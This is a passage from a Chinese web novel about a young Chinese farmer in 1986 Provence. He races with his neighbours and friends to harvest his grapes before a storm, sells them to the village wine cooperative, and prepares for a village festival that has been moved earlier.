“也许今年就是个多雨的年份呢?你忘记7月就开始下雨了吗,那个时候雨季还没有开始,大自然总是会给我们很多惊喜不是吗?” 皮埃尔两眉之间的横纹一下子就出来了: “你巴黎的朋友说几天后会下雨?” 雨季之前的那场大雨,罗南就是根据巴黎朋友的通知提前做准备了,并且他还提醒了许多人。 巴黎的天气预报比普罗旺斯的天气预报准太多了! 罗南扶着额头说: “也许是3天,也许是5天.但它一定会下。” “狗娘养的鬼天气——”皮埃尔用力拉了几下罗南的车门,发现打不开,“开车,快开车!” 罗南把车门打开: “我带你去老酒馆。” 皮埃尔几乎是跳上去的: “不去老酒馆,去找布兰科,人太多了,没时间一个一个通知,找政府帮忙!” “全体居民请注意,此为市政紧急通知:未来三到五天恐有极端天气来袭,请立即检查附近排水沟、固定或回收户外物品、远离河道、保护.” 老教堂广场上那个用于看电影用的大喇叭,彻底打碎了所有农夫的美梦。 与这道通知一同出现的,还有几十个奔波在村子里,通知农夫们快快去收葡萄的村民。 “你是不是疯了?雨季已经结束了!下什么雨啊。”特奥拿着枪比划。 来通知的村民焦急的说: “真的,皮埃尔亲自去政府说的,让我们通知大家快去收葡萄,再晚就来不及了。” 特奥把枪放下,皱着眉毛问: “皮埃尔在哪儿?” 他要亲自去问问。 那人一边往外走一边说: “和罗南一起在村子里找农夫呢。” “罗南也一起吗?”特奥低头沉思了一下,把嘴里烟扔了,回到屋子里对女儿说,“安娜,晚几天再把鹿带回家好吗?爸爸现在有重要的事.” “皮埃尔是不是疯了?现在收会让葡萄少0.2,不,说不定是0.3度,那是好多好多的钱!”亨利又开始‘阴谋论’,“他是不是见不得大家赚钱,让我们现在收,他自己等到月底?” 亨利是什么性格,全卢尔马兰全都知道,这位村民不想在他身上浪费时间,说完就走: “行,那我告诉罗南去。” 亨利龇着牙问: “为什么要告诉罗南先生,这跟罗南先生有什么关系?” 那村民头也不回的说: “罗南说,要是谁对这个决定有异议,就通知他,他亲自来做‘功课’。” “什么?”亨利跑到那人身前紧张的说,“不用告诉罗南先生!我没有异议!!” 他回头对屋子里喊: “约瑟芬、丽莎快准备一下跟我去收葡萄,我去开拖拉机!” 类似的场景在卢尔马兰100多户农夫家里同时进行着——一场和时间赛跑的战役在卢尔马兰正式打响了。 这场和时间赛跑的战役对于有机械的家庭来说都很难打,对于纯手工的罗南来说更难打了。 手工采摘葡萄是一份既耗时间又辛苦的工作。 葡萄的外观和味道几乎同等重要。 采下的每一串葡萄都要经过仔细的检查,凡是有伤痕的或者起皱折的都要掐掉。 葡萄串长得很低,有时还会触碰到地面,有的又被繁密的叶子遮盖,采摘起来重重困难。 必须不断的蹲下、剪枝、检查、站起、再蹲下重复不止。 这个过程中同时还要抵抗从脚下土壤里冒起的热气,而太阳又会恶毒的炙烤着他的后背和脖子。 葡萄园里没有树荫,也没有风,人在这种环境下从头到脚每一个地方都是湿的,汗像不要钱一样的滴。 纯手工收葡萄的效率大概是0.5亩-1亩/天,如果时间充裕,罗南完全可以自己一个人慢慢干。 由于时间紧迫,父母放下手里的一切工作全来帮忙,但还是无法追上时间的进度。 老两口是第一次干,而且年纪大了,连0.5亩/天都无法达到,时间只有3天,而罗南一共有8亩地,怎么算都是忙不完的。 皮埃尔告诉罗南,有困难一定要找他们。 但此刻罗南的朋友们也在各自的‘战场’上奋战无法抽身,每个人都有一场硬仗要打。 这次罗南要‘孤身奋战’了。 “没事儿子,咱们抓点紧,也许能干完。”冯珍脑门上的汗水不停滴落,但她还是不忘鼓励罗南。 “你们累了就进屋休息。”罗南心疼的说,“你们没干过农活,突然上这么大强度身体吃不消的。” “让你妈妈进屋休息,我没事。”罗天海带了一个草帽,但脸还是晒的通红。 他们已经在普罗旺斯的烈日下持续工作了两个多小时,但距离战争的胜利还‘遥不可及’。 正当三口人互相鼓励之际,由远及近传来一阵有节奏,但又略显杂乱的‘突突’声。 多听一阵子,眼前会幻想出螺丝钉和金属零件想要脱离铁皮逃出去的画面感。 罗南站起来看向声音来源: “是拖拉机?” 一辆拖拉机缓慢的出现在罗南家门口柏油路的尽头。 穿着老旧发白格子衬衣、农夫标配牛仔裤和帆布鞋的路易远远的对大家招了一下手。 拖拉机上还站着一个穿了一身足球运动服的小伙子。 等不及开到罗南面前维埃里就跳了下来,拿着他们带来的工具一头扎进葡萄园里: “我来帮忙。” 罗南脸上全都是汗水,他胡乱的擦了一下,对着维埃里喊: “你怎么没去上学?” 维埃里的声音在葡萄园里传出: “今天学校放假了,说现在情况紧急,让我们回来帮忙。” 这个时候路易开着他的‘祖传’拖拉机终于来到了罗南一家面前,他指着自己的衣服说: “还好没扔。” 罗天海的衣服全部湿透了: “今天没去上班?” 路易吃力的给拖拉机掉头: “今天换个工作干,前卢尔马兰的最佳农夫要上班了!” 话音刚落,莉亚和佐伊也出现在柏油马路上。 路易的祖传拖拉机太慢,只比步行来帮忙的她们早到了一点点。 莉亚拿着一个大篮子进屋: “我猜你们肯定没有时间做饭,做了一点方便吃的食物,放进去马上出来帮你们。” 佐伊穿着她工作的背带裤,头发干净利索的扎到脑后。 她给了罗南一个巨大的拥抱: “不要担心,这些葡萄会保住的,我们和你们一起。” “肯定会保住的!”弗雷迪开车载着阿兰也出现了,“但你们可以给我和阿兰找身干活的衣服吗?我们来的太急了,要最大号的!” 阿兰抱着几根法棍下车: “妮可拉和弗洛西把孩子安顿好就来。” 罗南面前那片干涸、已有大片汗水痕迹的土地上,突然落下了几滴急促的‘汗水’: “谢谢,谢谢你们。” 农夫们是去打仗了,但罗南还有其他‘援军’。 一个人‘打’不下8亩葡萄园,3口人可能也‘打’不下8亩葡萄园,但十几个一定可以打赢这场战役。 靠100多个农夫三天打下3000多亩葡萄园很难很难。 但如果是200人.300人或者500人呢? 艰难的战役就要派出最大的兵力,这场大战就这样进入了‘人人皆兵’阶段。 第210章 丰收年! 罗南一家不停对大家说着感谢的话。 感谢大家来帮忙、感谢大家暂时放下自己的工作、感谢大家愿意在这么高的温度下进行户外作业. 路易听‘烦’了,指着身后的弗雷迪和阿兰说: “我还当农夫时,莉亚每年都跟我一起下地,到了采摘的季节这两个家伙也都会来帮忙,这不是什么需要感谢的大事。” 莉亚熟练的剪下一串又一串葡萄: “以往收获季全村都会动起来,你去帮一天、我去帮一天,只不过今年有突发情况,显得大家更加‘团结’了而已。” 佐伊的脑袋从某个葡萄藤后伸出来: “我很小的时候就开始摘葡萄了,这里应该只有维埃里没有下过地。” 维埃里脸上沾了许多土: “爸爸的梦想是让我未来做农夫,我肯定要来啊,这么好的锻炼机会。” 阿兰晃动着和他体型不匹配的衬衣袖子,笑着说: “我们对葡萄比你们还要熟悉,在卢尔马兰,谁没摘过葡萄呢?” 弗雷迪戴了一个巨大的草帽: “我和阿兰早就聊过,罗南第一年种葡萄必须要来帮忙,不过要感谢这场雨啊,我们所有人都聚齐了。” 罗南感激的看了一圈大家: “等忙完这次采摘,我请大家集体出游一次。” 钱不重要,重要的是这份恩情。 路易摘下帽子擦了擦汗: “集体出游的地点不如就定在你的餐厅?收完葡萄餐厅也差不多快开业了吧?” 罗南哪还有时间出去玩啊,接下来的这段日子他会越来越忙的。 弗雷迪兴奋的问: “我可以拥有一个专属座位吗?只为我而留的那种?” “滚吧弗雷迪!”阿兰笑骂道,“罗南的餐厅肯定人满为患,给你留一个专属座位要耽误赚多少钱?你赔得起吗?” “我只是开个玩笑.阿兰你到底是不是普罗旺斯人?” “我还想问你是不是普罗旺斯人呢,这么久了居然只摘了这么点葡萄?第一次下地吗?” “你眼瞎了?弗洛西那排也是我摘的!” 朋友们的加入使枯燥的体力劳动变得没有那么难挨,不知不觉中,一排排青紫色的葡萄藤逐渐恢复了青绿色。 临近傍晚,女士们将装满葡萄的板条箱搬到罗南的货车和弗雷迪的卡车上,把两个车厢填得满满当当。 “车厢满了,可以去送一次货了。”佐伊对葡萄园里的罗南喊。 罗南家没有地方存放这些葡萄,装满了就要去卖一次。 罗南对罗天海说: “爸爸,你和弗雷迪去莫力酿酒合作社吧。” 罗南是摘葡萄的主力军,让年纪大的人去干‘轻松活’吧。 罗天海问弗雷迪: “你认识路吗?” 他没去过莫力酿酒合作社。 弗雷迪向卡车的方向走: “不需要认路,我们只需要跟着那些大家伙走就行了,快上车吧。” 弗雷迪和罗天海离开后,路易给大家解释: “每年到了采摘的日子,卢尔马兰的街道上随处可见卡车和货车在路上行驶,它们的车上堆积着如山一样的紫色葡萄目的地都莫力酿酒合作社。” 罗南看向卢尔马兰村的方向。 他有援军了,但其他农夫们那里的情况怎么样了呢? 晚上7点多,家里的女人们做好了晚饭,去葡萄园里叫大家吃饭,这预示着一天的辛苦劳作终于结束了。 一群在外面炙烤了一整天的人来到室内,屋子里的温度马上就升高了,因为每个人都在散发热气。 佐伊扒开罗南的衬衣领子,发现里面已明显变成两个颜色,上边是深褐色的脖子,下边是较白的锁骨。 罗南把草帽向后一推,露出一条‘泾渭分明’的界限,头发被扣成了草帽的形状。 “累了吧?”佐伊心疼的在罗南的脑袋上揉了两下,帮他把头发舒展开。 人手多了之后,大家都有不少休息时间,唯独罗南从头干到尾,很少休息。 罗南低头问佐伊: “你怎么样?有没有累到?” 佐伊摇头: “我哪儿有这么脆弱?” “大家呢?感觉还好吗?”罗南担忧的看向其他人.发现除了巴黎三口人外,每个人都‘神采奕奕’的。 阿兰一边‘吨吨吨’的喝冰镇啤酒,一边看着窗外,似乎在等待什么。 路易干脆坐到了门口,不停小声念叨: “怎么还不回来怎么还不回来” “他们这是——”罗南无知所措的不停观察每个人的反应。 佐伊拍了拍罗南的胸膛,给他解释: “他们现在没有时间‘累’,有更加值得关注的事情吸引着他们呢。” “什么东西?”罗南木讷的问。 突然,一阵急促但有节奏的鸣笛声在柏油马路的一头出现,似乎是‘侦察兵’发现了重要情报,在通知各部门注意。 “回来了!”路易激动的站起来。 紧接着是阿兰、莉亚、妮可拉和弗洛西大家都追着那道鸣笛声迎出去。 弗雷迪和罗天海的汽车一前一后出现在大家的视线中。 “多少?”不等弗雷迪下车,路易大声问道。 看那焦急的样子,像是产房外询问护士男孩女孩的父亲。 弗雷迪把车停到罗南家门前,兴奋的张开双臂: “罗南这一批是13.9度,非常完美的品质!其他几个卢尔马兰人送去的葡萄也都在13.5度以上!明年大家有口福了!” “太棒了,太棒了!!”几个卢尔马兰人兴奋的欢呼起来,全然不像是干了半天繁重农活的模样。 罗天海从车上下来,给罗南和冯珍解释: “这个莫力酒庄会低价供应卢尔马兰居民葡萄酒,葡萄的品质好,他们明年喝的酒就好你们是没看到指针显示酒精浓度时现场的热闹样子,跟举办‘联欢会’似的。” 佐伊笑着给巴黎一家人补充: “最近三四年村民们一直喝的是12.5度左右葡萄的酒,这1度酒精浓度足够大家开‘联欢会’了,毕竟这里是从早上就要开始喝酒的普罗旺斯。” 罗南问罗天海: “在那边看到熟人了吗?他们的葡萄品质怎么样?” 罗天海回忆道: “总来咱们家的几个没有见到,但其他同村人的葡萄品质都不错。” 罗南打算吃完饭给熟悉的几个农夫打电话问问情况,他这里的进展非常快,十几个人摘8亩葡萄园,两天就能收完。 如果谁那里忙不过来,罗南第三天就支援过去。 但饭还没吃完,他就先一步得到消息了。 特奥的妻子丽贝卡带着女儿安娜来到罗南家,看到一屋子的人马上笑了: “特奥非让我来亲自转告你,别着急,他那里很快就忙完了,忙完就来帮你,但看起来不用了啊.” 罗南问她: “特奥那边怎么样?人手够吗?” 丽贝卡从容的说: “特奥的表哥和两个表弟一家每年都会来帮忙,人手足够。” 稍晚一些,脸晒得黑红黑红的亨利在门外出现: “罗南先生,你这里的进度怎么样?” 罗南给亨利拿了一些奶酪让他带回去: “路易他们来帮我了,明天就能摘完,你那里怎么样?” 亨利不止没有朋友,也没有亲戚罗南最担心的就是他。 亨利开心的点了一根烟: “约瑟芬一个人可以顶三个人用,我们摘了几十年葡萄,配合非常熟练,而且我今年打理的地不多。” “那就好,那就好。”罗南终于松了一口气。 反复确认罗南不需要丽莎来帮忙后,亨利才拖着疲惫的身躯回家。 亨利家没有电话,想确认情况只能跑一趟。 但皮埃尔家有电话,也经常给罗南打电话当他开着一辆铺满木托盘的老皮卡出现在罗南家门口时,罗南是没想到的。 “你怎么来了?有事打电话啊。”罗南给皮埃尔拿了一听冰镇啤酒。 皮埃尔一口气喝下大半罐500ml的啤酒,打了一个响彻天际的酒嗝后说: “今年出来帮忙的人格外多,连布兰科都带着人出来摘葡萄了,村里闲置下来一辆大一点的卡车,我给你开来了,你那辆货车太小。” 罗南知道皮埃尔一定清楚所有农夫们的情况: “大家都还好吧?” 皮埃尔无比沉重的叹了一口气: “时间还是太紧了,只有三天。” 罗南推他离开: “那你快去别人家,我这里有弗雷迪的卡车,你开走给别人用。” 皮埃尔突然用胳膊夹住罗南的脖子,露出阴谋得逞的狂容: “如果没有你的提醒,那将会非常糟糕,不过现在嘛.依然是个丰收年!你小子被我骗到了吧?!” 皮埃尔的状态把罗南心里的所有不安全部抹去。 这么有责任心的人能开得出来玩笑,说明情况全部在掌握之中。 那他就放心了!! 送走皮埃尔,罗南一连喝了三杯粉红酒,状态终于放松下来。 路易似乎猜到了缘由,平摊双手笑着说: “全村都动员起来了是不是?” 罗南笑容灿烂的说: “是的,大家都来帮忙了。” 路易举起杯子,示意大家一起喝一个: “丰收从来不是农夫们自己的事,它关乎每一个村民的生活,举杯吧朋友们,祝贺我们又打赢了这场硬仗!” 第211章 第一年顺利毕业! 采摘工作比罗南想象中还要顺利。 除了罗南一家三口和维埃里,其他人都是收葡萄的高手,速度丝毫不比身强体壮的罗南慢。 第二天下午,大家已提早开始‘庆祝’。 维埃里拿来了他去年的生日礼物照相机,说是要记录下首次‘农夫’体验。 没成想自己没拍上几张反而成了大家的摄像师。 弗雷迪摘下草帽,快速整理了几下自己凌乱的头发,之后再次戴上它,举起一串葡萄: “维埃里,再给我拍一张,刚刚我的发型不够好看。” 维埃里刚给弗雷迪拍完,路易又从葡萄叶后站起来,满脸堆笑的伸出大拇指: “我又想到一个很好的pose!快拍我!” 维埃里按完快门,看了看剩余交卷数,抱怨道: “这一卷快用完了.我还没有怎么拍我自己!” 罗南对维埃里招手: “过来,我给你拍。” 维埃里欢快的跑过去,把相机交给罗南: “我想要一张背景是你房子的,可以吗?” “可以啊,当然可以。”罗南把相机对准正在搬葡萄的佐伊,“等我拍完你姐姐就给你拍。” 维埃就要‘崩溃’的大喊,罗南飞速把相机对准他: “笑一笑啊维埃里,现在的背景就是我的房子,特别好看。” 维埃里破涕为笑,双手捧起一串葡萄,笑的比天上的太阳还灿烂。 罗南连续给维埃里拍了好几张后把相机还给他。 维埃里又看了一眼交胶卷数: “还有最后两张,有谁要拍吗?” 莉亚赶在弗雷迪和路易前说: “拍罗南,都没怎么拍过他。” 罗南蹲下继续干活: “维埃里拍了我好几张呢,拍佐伊吧,佐伊那么好看。” “你们俩合照!”莉亚在远处喊了一声。 罗南刚要开口说话,头顶的阳光被人挡住,佐伊从身后把他抱住——‘天降一吻’。 维埃里闭着眼睛摁下快门: “妈妈,他们两个好恶心!” “好了好了,拍别的。”罗南放开佐伊,“大家拍张合照吧?” “好啊!” “没错,我们差一张合照。” “快记录下来这次集体活动!” 散落到四处的众人凑到一起,以家庭为单位站到一起,互相整理衣服和头发。 罗南和佐伊被推到最中间。 维埃里把相机架到葡萄藤上: “5秒钟!” 他小跑回来,蹲到罗南和佐伊的前面,大声帮大家计时。 “5!” “4!” “3!” “2!” “该死的,他们又亲到一起了!!” 夕阳西下,最后一批葡萄也顺利的装车了。 罗天海把皮埃尔开来的那辆大卡车的钥匙扔给罗南: “最后一趟你去送吧。” 罗南一次莫里酒庄都没去过,这最后一趟应该让他去感受一下。 “好。”罗南笑着答应下来。 皮埃尔开来的这辆卡车可能比路易的祖传拖拉机年纪还要大。 罗南打了四五次火,它才喘着粗气发动了。 像这种大型卡车,一年中只有在采摘季前后的几周会用到,所以即使它已车头微微凸起、车身微微凹陷,少了一个车门.依然没人放弃它。 不过这辆最高时速只有30公里/小时的卡车,正好可以让罗南好好看一看采摘季的卢尔马兰。 这情景一年只能看到这么几天。 几百米外,特奥的葡萄园里停着好几辆拖拉机,他和几个男人在里面劳作,丽贝卡和几个女人在往卡车上装葡萄。 而安娜和三个跟她差不多年纪的小孩在葡萄园里跑跑跳跳,来回穿梭,在他们的不远处,两只小驴不知所措的四处张望。 又往前开了一阵子,来到了法比安的葡萄园。 堆积如山的货箱里,满脸通红的小胖子康奈尔正在帮忙清点箱数,而法比安和他的妻子,还在不断向卡车上堆放葡萄。 康奈尔的母亲、卢尔马兰绣被界的标杆人物阿克尼娜正在给忙碌的人们分发毛巾和水。 罗南在路上看到了挥汗如雨的皮埃尔、看到了动作生疏但满头大汗的布兰科、看到了大喇叭皮雷,还看到了老酒馆的老板科莫 他看到了许许多多的熟人。 但他又在这些熟人的身上,看到了让他‘陌生’的一面。 罗南笑着抓紧方向盘。 大家总说秋天是‘万物凋零’的起始,但罗南看到的却是一片‘欣欣向荣’的景象。 正如路易说的那样,根本不用认识去莫力酿酒社的路,跟着路上的卡车和货车就能找到它的大门。 但罗南觉得可以再加一条‘认路’的方式——地上压扁的葡萄残渣。 罗南的头顶是血色残阳,脚下是‘血色’的葡萄。 这一路上,随处可见被压扁的葡萄残骸。 顺着这条血色大道,罗南来到了原莫力酿酒合作社,现莫力酒庄的大门前。 不过此时这里排着长长的队伍,全部是卢尔马兰来的。 罗南跳下去和几个农夫聊天,发现大家都是一脸喜色。 原来是因为有几个村子的葡萄在9月初摘了,摘的早品质肯定不太行。 有一些村子也跟卢尔马兰一样,熬到了雨季结束,但如果他们现在还没有开始行动.一旦那场大雨下下来,品质也无法保障了。 所以今年卢尔马兰的葡萄很有可能是莫力酒庄里品质最好的。 “这有什么关系吗?”罗南不理解农夫们开心的缘由。 有农夫给罗南解释: “如果卢尔马兰送来的葡萄是品质最好的,除了本来谈好的折扣外,还会再追加一个折扣,明年大家喝酒更便宜了!” “真的?”罗南一怔。 还能再加一个折扣? 虽然他不喝红葡萄酒,但朋友们都喝。 “真的!”那村民开心的说,“到了年底我们就可以知道明年的价格,一月一开始大家就能按照更新后的价格买酒了。” 罗南和农夫们聊了半个多小时,终于轮到他了。 他把卡车开上平台,几个工人利索的把装有葡萄的条板箱推上滑道。 把货卸完,罗南走入合作大厅,也就是接待处,在这里他亲眼看着自己的葡萄被装进一只巨大的不锈钢桶里。 工作人员见罗南是生面孔,指着一个带有指针的设备说: “看这里,这里是酒精含量。” 罗南很想问这个机器是如何从新鲜葡萄里面检测出酒精含量的。 但又想到这种交易制度在卢尔马兰运行了这么多年一定有他的道理,尤其接下来是‘见证奇迹’的关键时刻,不合适问这么煞风景的傻问题。 只见仪表盘上的指针猛的向上抬起,就像是罗南飙升的心跳频率似的,一阵小幅度震颤后停在了13.87这个数字上。 全场一阵欢呼,全是罗南不认识的人。 罗南也不知道他们在欢呼些什么. 这不是我的葡萄吗? “又多了几百瓶好酒啊。”那个工作人员用力拍了几下自己的脑袋。 由于这是罗南送来的最后一批货,这次离开时他还拿走了一张凭证,在罗南看来它更像是一张毕业证书。 “【葡萄收购收据】 编号: XXXX 日期: 19860921 【酒庄信息】 名称:莫力 地址:普罗旺斯-阿尔卑斯-蓝色海岸大区,沃克吕兹省,劳伦特·维伯特大道24号,84160 【农户信息】 姓名:罗南 地址:普罗旺斯-阿尔卑斯-蓝色海岸大区,沃克吕兹省,卢尔马兰西侧18号,84160 【交付明细】 原产市镇:卢尔马兰 葡萄品种:歌海娜 年份:1986年 交付公斤数:1797.1 单价/公斤:11.7法郎/公斤 总额:21026.07 【质量认证】 √糖度要求 √酸度范围 √无腐烂/变质 【签署与声明】 本人证明交付葡萄符合合同条款 款项将于[30]日内支付” 罗南把‘毕业证书’在手上用力拍了一下: “第一年顺利毕业,明年继续加油!” 采摘完自己家的葡萄园后,罗南马上投入了帮助村里其他农夫采摘葡萄的工作中。 第三天的傍晚,卢尔马兰附近95%以上的葡萄全部采摘完毕。 皮埃尔带着好几个老农夫去做那最后5%的支援。 那一天晚上,街道上全都是人。 大家在忙碌了三天后没有选择休息,而是走出家门,互相分享这一整年的收获。 “我今年卖了3万多!比预想中多了4000法郎,多出来的这些钱可以把拖拉机的几个轱辘换了,它们都磨的没有纹路了。” “你才多了4000法郎?莫力给我开的单子比我预期中多了快一倍,看来你今年不够努力啊。” “朋友们,现在是不是可以放心的去打猎了?我要去阿普特买一把新枪!” 晚上11点。 吕贝隆的上空响起一道惊雷,几十户家的狗同时叫了起来。 几乎在同时,乌云压到了卢尔马兰的头顶,闪电似乎擦着房顶划过。 这次的大雨没有留出‘灯光秀’的时间。 仅仅几分钟后,瓢泼的大雨便倾盆而下,像皮鞭一样抽打房屋、树木和大地上的一切。 但在卢尔马兰,比暴风雨更加嘈杂的,是家家户户庆祝的歌声和彻夜的狂欢。 这是卢尔马兰村民们最开心的一个雨夜! 第二天中午。 和朋友们喝到天亮才睡的罗南迷迷糊糊听到一个消息——布兰科下午5点要在老教堂门口召开一个全体村民大会。 他揉了揉有些发晕的脑袋。 又出什么事了吗? 第212章 又一个集市? 所谓老教堂广场,其实只是村中心教堂门前一片较为开阔的空地。 夏天放电影的时候来那么一二百个村民就开始乱了.容不下全村800多人。 佐伊告诉罗南,只需待在老教堂广场上的喇叭覆盖范围里,可以听清布兰科讲的内容就可以了,不用非要挤去广场。 那些居住在老教堂附近的村民,可以一边在家里喝酒一边‘开会’。 罗南选择的开会地点是科曼的餐厅。 就是布兰科曾带他来,希望他帮忙给这里设计一下的‘原始风’餐厅。 坐在这里,可以清楚听到大喇叭试音的‘次次’声。 旅行季餐厅里没有顾客,旅行季结束更没有顾客了。 老板科曼依然坐在外面大口大口的抽烟,这个烟不离手的家伙似乎永远都有‘愁’不完的事情。 他的妻子在后厨发出‘叮叮咣咣’的声音,罗南只点了3瓶冰镇啤酒.也不知道她在里面忙些什么。 “昨天粉红酒喝顶了?”罗天海问罗南。 罗南压低声音说: “这里没有粉红酒” 罗天海微微皱起眉头。 所谓‘开门迎客’,就算再不待见粉红酒也要准备两瓶啊。 想到这里,他开始用‘审视’的眼光打量四周。 冯珍第一次开全体会,对一切都充满了好奇,根本坐不下来,去街上和陌生人聊天去了,看样子聊的还挺投机。 罗南喝了一口冰啤酒,无所事事的琢磨: 布兰科突然组织这个全体会是要干什么? 不会是要说粉红酒的问题吧? 但距离他们上次聊天才过去没几天.关乎全村命运的大事必须要做足了研究和准备之后才会公布才对。 “还能是什么呢?”罗南拿着杯子走到室外桌椅区,观察大家的反应。 村民们似乎还没有从昨天的喜悦中脱离,每个人脸上都洋溢着笑容。 看了一圈下来,表现最淡定的是科曼。 他似乎是一尊没有表情的雕像,制作出来的唯一目的就是消耗香烟这种东西。 见罗南打量自己,科曼语气冰冷的说: “无论说什么都和我没有关系,这是在浪费时间。” 但不‘浪费’时间,你也只会在这里抽烟啊罗南腹诽道。 反正也没有事情做,罗南和科曼聊起来: “上次开全体会是什么时候?” 科曼想了一下: “两年前吧。” “因为什么事?” 科曼换了一个手拿烟: “动员村民去集市摆摊,集市上只有二十多个摊位,买菜都买不到了。” 罗南默默点头。 看来那次动员很成功啊,罗南冬天第一次摆摊时卢尔马兰已经有70个摊位了,虽然和梅纳村的300个摊位依然没办法,但比前两年多多了。 而且现在卢尔马兰已经有100个摊位,罗南相信到了明年春天,旅行大军再次光临普罗旺斯时,这个数字还会继续增加的。 “也不知道今天要说什么。”罗南耸肩。 科曼又续了一根烟: “可能是动员大家明年多种地吧,听说今年卖的挺不错。” 罗南暗自低语: “但种地无法让卢尔马兰吸引更多的游客啊.” 下午5点整。 喇叭里传出布兰科的声音,虽然距离老教堂有段距离,但罗南脑海中已经出现了他穿着西装、双手拿‘演讲稿’的和蔼模样。 随即道路上嬉戏打闹的儿童、聊八卦的妇女和畅聊天下的男人们也停下来,认真听喇叭里的内容。 “亲爱的兄弟姐妹们,吕贝隆山谷的风和普罗旺斯的阳光作证——今天,在卢尔马兰周围3184亩葡萄园里,没有一粒果实被遗落!我们成功的在大暴雨前,完成了所有的采摘工作!” 街道上的几个孩子大声欢呼起来,他们的父母没有制止,脸上也出现了与欢呼声所匹配的满足笑容。 “四天前,皮埃尔和罗南来找到我,说几天后恐有大雨光临普罗旺斯,政府第一时间联系了附近的采摘工,他们因时间问题涨价近3倍.当我绞尽脑汁想帮助村民尽快落实人手问题时——全村居民同时拿出了他们生锈的剪刀!” “黎明的钟声敲响,我看见71岁的玛丽娜奶奶开着拖拉机冲进薄雾,65岁的保罗带着他的四个孙子组成‘剪刀合唱团’支援邻居,甚至连腿脚不方便的老卡尔都去捆扎箩筐了这些天你们的汗水浸透了每一片卢尔马兰的土地,教堂尖顶的铜钟都在为劳动号子打起节拍!” “这四天的全民行动教会我:当暴风雨到来之时,真正的‘英雄’就在我们的四周!只要我们携手并肩,再大的风雨也无法阻挡我们!只要我们上下一心,吕贝隆的岩石也能榨出蜜糖!将来没有任何困难可以阻拦卢尔马兰前进的脚步!” 布兰科是一个很棒的演讲家。 在他抑扬顿挫、极富感染力的声音影响下,村民们纷纷骄傲的昂起头颅,像打了胜仗的士兵一样激动。 “为了庆祝这次‘丰收战役’的成功,我宣布今年的还愿庆典提前到这周周末举行,届时——” 布兰科后面的话罗南完全听不到了。 因为四周爆发出了巨大的欢呼声和尖叫声,还有人兴奋的把帽子扔向天空。 他想问科曼这是什么情况,发现科曼居然也离开了他坐的位置,把吸了两口的烟扔到地上,去厨房找他的妻子,看背影‘欢快’的像是一个二十多岁的小伙子。 搞不清状况的巴黎一家人面面相觑。 还愿庆典是什么? 还有这些人是怎么了?? 还愿庆典将在周日举行。 但周五早上的卢尔马兰集市上,已经开始有‘节日’氛围了。 大家的采购量较往日增加了不少,尤其是卖服饰的摊主,生意和平时比多了三倍有余,每一个孩子都在拉着父母寻找他们心仪的新衣服集市上也全是为盛典做准备的村民身影。 来帮忙的莉亚给巴黎一家人科普还愿庆典对于普罗旺斯人的特殊意义。 法国的地方神话故事中不乏一些名字响亮的‘守护圣徒’,即守护神。 而普罗旺斯的各个村子也有属于自己的守护圣徒,按照习俗,圣徒出生的日子村子里会举办庆祝活动,即‘还愿庆典’。 在很多村子,还愿庆典是比圣诞节更加热闹的日子。 不过在卢尔马兰,还愿庆典从来没有办的像其他村子那样热闹过,因为保护卢尔马兰的圣徒出生日在冬季。 冬季白昼短,气温往往在冰点以下,并不是欢聚的好日子。 每一个土生土长的卢尔马兰人都很羡慕其他村子热热闹闹的还愿庆典。 随着时代发展,近些年还愿庆典不再严守往日规定,有一些村子会把节日提前或者推后举行,不过卢尔马兰的还愿庆典举办日期始终没有更改过。 今年是卢尔马兰几百年来第一次把还愿庆典提前到秋季举行。 “我猜圣巴斯蒂安一定不会介意我们提前几个月给他庆祝生日的。”罗南笑着耸肩,“因为这次会给他‘大办’一场。” 连对什么事情态度都很平淡的佐伊这几天都开始‘兴奋’,相信其他爱热闹的村民会把周日变得热闹无比。 莉亚摇头: “远不止规模变大了,规矩也改变了。” “改变什么了?”冯珍好奇的问。 莉亚笑着说: “以往卢尔马兰的还愿庆典是非公开活动,只有本村村民能参加,我听路易说,今年布兰科还去外村发广告了,呼吁大家一起来参加周日的节日。” 罗南侧着脑袋笑了一下。 布兰科从来没让他失望过。 这确实是一个很好的宣传途径,能让更多人了解卢尔马兰。 罗天海看了看集市上的村民: “都节日了,大家不打包点锅包肉和中餐回去吗?” 中国的节日前大家一定会囤食物的。 普罗旺斯人没有这个习惯? 莉亚疑惑的问他们: “还没有人通知你们吗?” “来了来了!我亲自和罗南说!”丰腴的希尔维斜靠到罗南的摊位上,一副‘累死老娘’的表情,“快给我来一杯粉红酒!” 她一口气喝完一整杯粉红酒后对罗南说: “布兰科让我邀请你去参加周日的特色露天集市。” “露天集市?”罗南和罗天海同时把脑袋凑过去。 周日还能再卖一天? 而且是其他村子的人也会来的那种? 周日早上。 巴黎一家人终于知道村民们听到消息那天欢呼雀跃的原因了。 在距离卢尔马兰几百米的平原上,凭空而起了一个小型游乐场,在它的不远处支起了代表马戏团的红白条纹帐篷。 距离马戏团几百米的另一侧,工人正在搭建简易舞台,看样子是哪位乡村大明星要造访卢尔马兰,紧挨着舞台的是几个射击游戏区。 而在几片休闲区域的中间,有一片圆环状的露天集市。 巴黎一家人推车寻找属于自己的摊位时,冯珍兴奋的抻直脖子四处寻找: “希尔维说,能在还愿庆典摆摊的都是能代表普罗旺斯最高水平的小吃和零食,我看看都有什么。” 还愿盛典的集市规模比平时普通盛典高好几个档次,政府邀请了许多在外村受欢迎的摊主来参加,罗南是代表卢尔马兰出战的几个代表之一。 “哦,居然有chichi!”冯珍指着一个陌生人的摊位说。 chichi是一种油炸面条,和中国的油条很相似,不过要蘸着白糖吃。 在崇尚健康饮食的普罗旺斯,这种小吃并不常见,可能在还愿庆典这种喜庆的日子里,父母能同意让孩子吃点垃圾食品吧。 “孩子们到了这里得疯了。”罗天海笑着说。 又有玩的,又有吃的,这里简直是孩子的天堂! “大人到这里也会疯的。”一道温和的声音在三口人身边出现。 布兰科摘掉帽子,微微前倾身体,礼貌的问: “罗南,我可以占用你几分钟吗?” 第213章 卢尔马兰不会亏待每一个爱他的人 布兰科带罗南来到一处安静的草坪,在这里可以看到远处缓坡下临时围出来的停车场。 “来了不少外村人啊。”罗南眯着眼睛看。 现在才早上8点,那片空地已经停了几十辆车,而且就这一两分钟的功夫又开来了五六辆,相信晚一些,那片地可能都不够用。 布兰科呵呵笑道: “希尔维印了很多传单。” 罗南点头: “这确实是一个很好的主意,大家都喜欢还愿盛典的氛围,但又不是每一个村子的还愿盛典都对外开放,你把这个消息传出去一定会吸引许多爱凑热闹的人。” 他开心的用拳头砸了一下手掌: 